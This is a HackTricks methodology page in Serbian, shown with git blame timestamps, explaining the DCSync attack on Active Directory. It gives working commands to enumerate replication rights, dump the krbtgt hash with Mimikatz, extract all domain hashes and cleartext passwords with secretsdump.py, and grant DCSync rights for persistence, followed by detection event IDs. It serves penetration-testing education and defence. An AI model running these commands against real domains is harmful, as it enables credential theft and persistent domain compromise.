hacktricks/windows-hardening/active-directory-methodology/dcsync.md

105 lines
6.8 KiB
Markdown
Raw Normal View History

2022-08-31 22:35:39 +00:00
# DCSync
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
Dobijte pristup danas:
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-02 18:28:27 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2022-08-31 22:35:39 +00:00
## DCSync
2022-04-28 16:01:33 +00:00
Dozvola **DCSync** implicira posedovanje ovih dozvola nad samim domenom: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** i **Replicating Directory Changes In Filtered Set**.
2024-02-10 13:11:20 +00:00
**Važne napomene o DCSync-u:**
* **DCSync napad simulira ponašanje kontrolera domena i traži od drugih kontrolera domena da repliciraju informacije** koristeći protokol za udaljenu replikaciju direktorijuma (MS-DRSR). Budući da je MS-DRSR validna i neophodna funkcija Active Directory-ja, ne može se isključiti ili onemogućiti.
2024-02-10 13:11:20 +00:00
* Podrazumevano, samo grupe **Domain Admins, Enterprise Admins, Administrators i Domain Controllers** imaju potrebne privilegije.
* Ako su lozinke bilo kog naloga sačuvane sa reverzibilnom enkripcijom, opcija u Mimikatz-u omogućava vraćanje lozinke u čistom tekstu
2024-02-10 13:11:20 +00:00
### Enumeracija
2024-02-10 13:11:20 +00:00
Proverite ko ima ove dozvole koristeći `powerview`:
2022-10-05 20:40:19 +00:00
```powershell
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
```
### Iskoristi lokalno
2022-10-05 20:40:19 +00:00
```powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```
### Iskoristi udaljeno
2022-10-05 20:40:19 +00:00
```powershell
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking
2021-10-08 06:05:56 +00:00
```
2024-02-10 13:11:20 +00:00
`-just-dc` generiše 3 datoteke:
2021-10-08 06:05:56 +00:00
2024-02-10 13:11:20 +00:00
* jednu sa **NTLM heševima**
* jednu sa **Kerberos ključevima**
* jednu sa lozinkama u obliku čistog teksta iz NTDS-a za sve naloge postavljene sa [**reversible encryption**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) omogućenim. Možete dobiti korisnike sa reversible encryption pomoću
2022-10-05 20:40:19 +00:00
2024-02-10 13:11:20 +00:00
```powershell
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
```
### Persistencija
Ako ste admin domena, možete dodeliti ova ovlašćenja bilo kom korisniku uz pomoć `powerview`:
2022-10-05 20:40:19 +00:00
```powershell
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
```
Zatim možete **proveriti da li je korisnik pravilno dodeljen** 3 privilegije tražeći ih u izlazu (trebalo bi da možete videti imena privilegija unutar polja "ObjectType"):
2022-10-05 20:40:19 +00:00
```powershell
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
```
### Mitigacija
* Bezbednosni događaj ID 4662 (Auditna politika za objekat mora biti omogućena) Izvršena je operacija na objektu
* Bezbednosni događaj ID 5136 (Auditna politika za objekat mora biti omogućena) Modifikovan je objekat u direktorijumskoj usluzi
* Bezbednosni događaj ID 4670 (Auditna politika za objekat mora biti omogućena) Dozvole na objektu su promenjene
* AD ACL Skener - Kreirajte i uporedite izveštaje o ACL-ovima. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
2024-02-10 13:11:20 +00:00
## Reference
2022-10-05 20:40:19 +00:00
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
* [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-02 18:28:27 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
2024-02-10 13:11:20 +00:00
Dobijte pristup danas:
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}